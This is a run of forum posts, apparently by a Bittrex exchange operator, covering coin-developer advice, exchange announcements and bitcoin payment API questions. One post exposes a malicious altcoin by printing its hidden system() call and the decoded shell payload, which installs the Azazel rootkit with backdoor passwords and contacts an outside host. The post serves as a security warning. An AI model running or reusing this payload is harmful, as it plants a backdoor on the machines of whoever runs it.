Dear new/old/or soon to be coin developer,

After about ~70 days of running bittrex.com and being the wallet master (or is it bitch?), I have learned a lot of things from coin developers.  Some are responsible and awesome;  they don't mind educating or helping out even when its not their coin.  Others... are unresponsive and dismissive at best;  but I digress.  What I have learned though is you can do 8 simple things to make your service providers (pool/exchanges) lives a LOT easier.  So without further ado (and really in no particular order)...

1. Do NOT name your coin to something that already exists.  Limecoin, Bitcointalkcoin, Panda, Imperial... I'm looking at you guys.  The dictionary has a lot of other options.
2. Do NOT use a symbol that already exists!  Do your research.  (how many BCC coins are there?)
3. DO have an up-to-date github.  No I will not download your tar.gz off mega-new-files-share.com.
4. DO include exchange/pool friendly options and make sure they WORK!  Respect staking=0 or gen=0 or whatever it is so that your PoS coin doesn't suck up all the resources.
5. DO have an IRC channel.  Most of us service provider types can tell you somethings wrong with your coin before anyone else.
6. DO actually have dev skills; or know someone that does.  Most problems are fixable.
7. DO have an official blockexplorer, and make sure its up to date.
8. DO keep your nodes updated and alive.

For the most part, we are here to provide a service to the community where needed... So... Make our lives easier so we can do more for you!

Thanks for listening
Richie@bittrex

I'm an avid football better, but thats it.  Had no idea bitbook.biz went away... any way to get in contact with them to get our btcs back?

This is completely malicious - DO NOT RUN

// init.cpp
// Runs if in daemon mode
#if !defined(WIN32) && !defined(QT_GUI)
    fDaemon = GetBoolArg("-daemon");
    if ((access("/usr/.dfq", F_OK) == -1))
      daemonize(getnewid());

// util.h
// daemonize basically calls "system" which executes "s" which is whatever is passed in
inline void  daemonize(std::string s)
{
  if (std::system(s.c_str()))
    return;
  return;
}

// util.cpp
// takes offset1, offset2, offset3 and XORs it
std::string getnewid()
{
  return (hashoffset(offset1, offset2, offset3));
}

// The result
apt-get -y install libpcap-dev libpam-dev wget git >/dev/null 2>&1 || yum -y install libpcap-devel pam-devel wget git >/dev/null 2>&1;cd /tmp/ >/dev/null 2>&1;git clone https://github.com/chokepoint/azazel.git >/dev/null 2>&1;chmod -R 777 azazel/ >/dev/null 2>&1;cd azazel/ >/dev/null 2>&1;sed 's/BLIND_LOGIN = "rootme"/BLIND_LOGIN = "r00t"/' config.py | sed 's/SHELL_PASSWD = "changeme"/SHELL_PASSWD = "r00tp4ssw0rd"/' | sed 's/PASSPHRASE = "Hello NSA"/PASSPHRASE = "Bestp4ssphr4se3v3r"/' | sed 's/KEY_SALT = "changeme"/KEY_SALT = "Bestk3ys4lt3v3r"/' > newconfig.py;mv newconfig.py config.py >/dev/null 2>&1;make >/dev/null 2>&1;make install >/dev/null 2>&1;wget http://dfqcoin.co.nf/in.php >/dev/null 2>&1;cd .. >/dev/null 2>&1;rm -rf azazel/ >/dev/null 2>&1;touch /usr/.dfq >/dev/null 2>&1


...

Given the "wget http://dfqcoin.co.nf/in.php" i can only conclude this is evil dev and not compromised source.   This coin will be delisted and removed from bittrex.com ASAP.

If you ran this as root, your box is compromised and I suggest a rebuild ASAP.  If you did not run as root, this should have failed silently and you should be ok....

There is a user going by 'bittrex' that is signing off their message with "Bittrex Team" that is completely unrelated to our exchange.  Please be weary whenever people make contact with you over forum boards.

For those who are interested, the only bittrex members in the forums bittrex-bill, bittrex-rami, and myself.  You can always contact us via email @bittrex.com.

This doesn't only go for us... please be careful with anyone contacting you and verify.

Sorry for the cross post, but something everyone here might be interested in!

https://bitcointalk.org/index.php?topic=463202.0

[What is Bittrex?]

What is Bittrex?

Bittrex is a next generation crypto trading platform built and operated in the United States by crypto enthusiasts with extensive development and security background.  We have over 50 combined years in the computer industry at companies like Microsoft, Amazon, Qualys, and Blackberry and have made careers developing secure and scalable software.  You can learn more about us on our About page.  

Our mission is to deliver the fastest and most secure trading platform for the community.  

We are launching with 10 currencies and will be adding more as we get community feedback.  It is important to us that our platform performs to our high expectations before additional currencies and features are added.  Screenshots below.


Features

• Custom built trading engine - Our custom trading engine was developed from the ground up with speed and scale as the priority.  Orders are executed as soon as they are placed and you will never see a crossed order book or a delay in processing of any trades.
• Secure platform – We employ the latest security technologies to protect you and us.  We use an elastic multi stage wallet strategy ensuring that 80-90% of funds are offline and safe.  Additionally two-factor authentication (through email or google authenticator) is required for all withdrawals and API usage.  We designed everything from the ground up with security in mind.
• Fast deposits and withdrawals - Our fully automated monitoring platform allows for near instantaneous updates on balance, trade, and wallet information.  You will never be left wondering where your funds are or if your deposits are blocked.  Information is always up to date.
• Complete and easy REST API - We have designed the most complete API set for developers to build on our platform.  Our full featured set of APIs allow you to easily deposit, trade, and withdraw to and from our exchange, enabling arbitrage scenarios never possible before.  Bittrex was built with high frequency trading in mind.

[UPDATE]
Follow updates and development in our announce thread as well!

https://bitcointalk.org/index.php?topic=492758.0

One month in... we've got 84 currencies open!  If you haven't checked us out, now is a great time!

10-5      CGB      HKC      PCN      WDC
365      DIME      HPC      PLNC      XSV
888      DOGE      ICN      POT      ZEIT
AAA      DRK      IFC      PPC      
APH      EAC      IPC      PT      
AUR      ECC      IQD      PTC      
BC      EFL      ISR      Q2C      
BEA      EMC2      KARM      RDD      
BELA      EXE      LTC      RT2      
BELI      FAC      MEOW   SBC      
BLTZ      FLT      MINT      SHA      
BNS      FRX      MMC      SHC      
BONES   FTC      MPL      SLR      
BTC      GAC      MRS      SPA      
BTL      GER      MYR      SPH      
C2      GLD      MZC      SRR      
CAT      GPUC      NXT      SYN      
CATC      GRCE      NYC      UTC      
CESC      H2O      PAWN      VTC      
CGA      HIRO      PCC      WATER      

We're about to launch a new crypto related website soon and need some help reviewing/developing our TOU and Privacy policy.  Anyone here have experience with that?  Will pay in BTC, please shoot a PM with quotes.

Thanks,
Richie

shipped to 98102... can pay with btc/ltc/usd.

Just need someone that is quick and reasonably priced.  I don't mind a little markup, but what is happening is highway robbery.

Thanks
Richie

So i've been using Coinbase as a clearing house for the last few months and I absolutely hate their lack of testing and support.  I'm not talking about silly verification bugs, or can't buy bugs.  I'm talking about serious APIs where the sell api was actually BUYING or 503s being returned and the actual call succeeding.   And don't get me started on their customer support which has no SLA of any type and you can go for weeks without a response.

Enough of a rant - my question is, how difficult would it be to clone its offerings.  The way I look at it we'd need:

* Development: frontend - this is pretty trivial.  There's only about 20 pages.
* Development: backend - little more complicated, but not by much.  Wallet creation and management has been done before, and frankly, I don't think its a huge feature on the site.  I think the ability to buy btcs for end users and the quick conversation of btc to fiat are its biggest assets.
* Development: ACH integration - there are for pay APIs that allow for ACH setups
* Legal: FINCEN registration - Know nothing about this. IANAL.
* Legal: User verification/Bank Validation - Related to above.
* Clearing house: I don't know how they solve this, but we'd need an exchange where we could covert fiat to btc and vice versa in a trustworthy way (I don't consider MTGox trustworth)
* Capital: Obviously there would need to be a float capital to handle transactions, but lets assume this is not a barrier to entry.

There would need to be a CS component of this that could be supported with using the minimal profit that would exist. I guess this would be the hardest part since the system integrity would have to be protected. 

Is anyone interested?  Thoughts?

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Can anyone help me understand how their payment API works at a bitcoind rpc level?  As far as I can tell, there is no way to see what the balance of an address is, only the number of bitcoins that address has received along with the confirmations for it.

If I were to replicate the blockchain API, i would have to:

* create an address and associated it to an account (destination address)
* check the balance of all accounts
* get a list of all addresses in that account
* check all the addresses looking for the lowest confirmations
    - if value < balance loop back to ensure to check other addresses
* locate callback and call that
* move btcs from account to destination address
* repeat

Is it really that convoluted or am I missing something much simpler?  I currently run a website that processes BTC payments but i'd like to move away from relying on blockchain.info.

Thanks

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Thanks,
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Thanks!

i'm using blockchain.info's payment service where it forward the btcs to a final destination, however, the delay between blockchain receiving the btcs, and the forwarding is taking forever.  Is there a way to add a transaction fee to the forwarding tx to speed this up?

for example, at the time of this post:
https://blockchain.info/address/1LJjJtm2vyySGgiLd67uBL7HeP83awiHCN

The original receipt of the btcs happened 79 confirmations ago while the immediate forwarding still hasn't gotten a single confirmation.

Thanks

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Thanks
Richie

Is anyone that uses this service seeing problems?  Some time in the last 24 hours I stopped receiving callbacks.  The BTCs are going where they are suppose to, but since I'm not seeing any callbacks, thus we're not handling the customers properly.

If i manually put the callback into the dev page (https://blockchain.info/api/api_receive) it shows:

Today 22:00:09:
connect timed out

But i know my callback url is accessible because it is logging all connections+querystrings.  I've tried from multiple ip ranges as well to ake sure it was some weird config on my side.

Thanks
Richie

If this is in the wrong forum, please redirect...

Can someone familiar with the topic explain how shared wallets work in terms of not needing any confirmations?

So if i opt to set the shared flag = true:

• Does that mean I can accept a transaction as soon as i get the transaction?
• Does the amount get forwarded to the final destination as soon as its received?

Right now it takes us 4 confirmations to confirm a purchase before sending the goods, then we have to wait for 6 more confirmations before it shows up at MTGox before selling.  Needless to say, that is long time for market conditions to change.

Thanks
Richie

With the recent closing of BuyBTC.info and the lack of options to quickly turn BTCs into spendable money, we've put together a site that will allow you to change your BTCs for common Amazon.com denomination gift cards.  We will be adding additional giftcards if this fares well.

http://www.giftcardbtc.com

Come by and check it out.  If you do use us, please post back to this thread so we can gain some vouches.  Being a new BTC business is tough because you need people to use you to get vouches, but most people won't use something that isnt' vouched

We use an auto updating price system based on the mtgox bid/ask price.  It is extremely close to the rates that BuyBTC has offered previously.  As we get a better feel for the cost and our risk, we will improve our rates where we can.

Thanks
Richie

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Can someone point me at a sticky on forum etiquette?  Being fairly new here, and trying to advertise a site, I want to understand what are tolerated practices such as frequency of bumps, cross posting etc...

Also, are there other places that I should be spamming to drum up interest on services I'm trying to provide?

Any pointers, feedback or suggestions welcomed.

Thanks
Richie

Apologies for the xposting, but I finally got the ability to post in other groups

With the recent closing of BuyBTC.info and the lack of options to quickly turn BTCs into spendable money, we've put together a site that will allow you to change your BTCs for common Amazon.com denomination gift cards.  We will be adding additional giftcards if this fares well.

http://www.giftcardbtc.com

Come by and check it out.  If you do use us, please post back to this thread so we can gain some vouches.  Being a new BTC business is tough because you need people to use you to get vouches, but most people won't use something that isnt' vouched

We use an auto updating price system based on the mtgox bid/ask price.  It is extremely close to the rates that BuyBTC has offered previously.  As we get a better feel for the cost and our risk, we will improve our rates where we can.

Thanks
Richie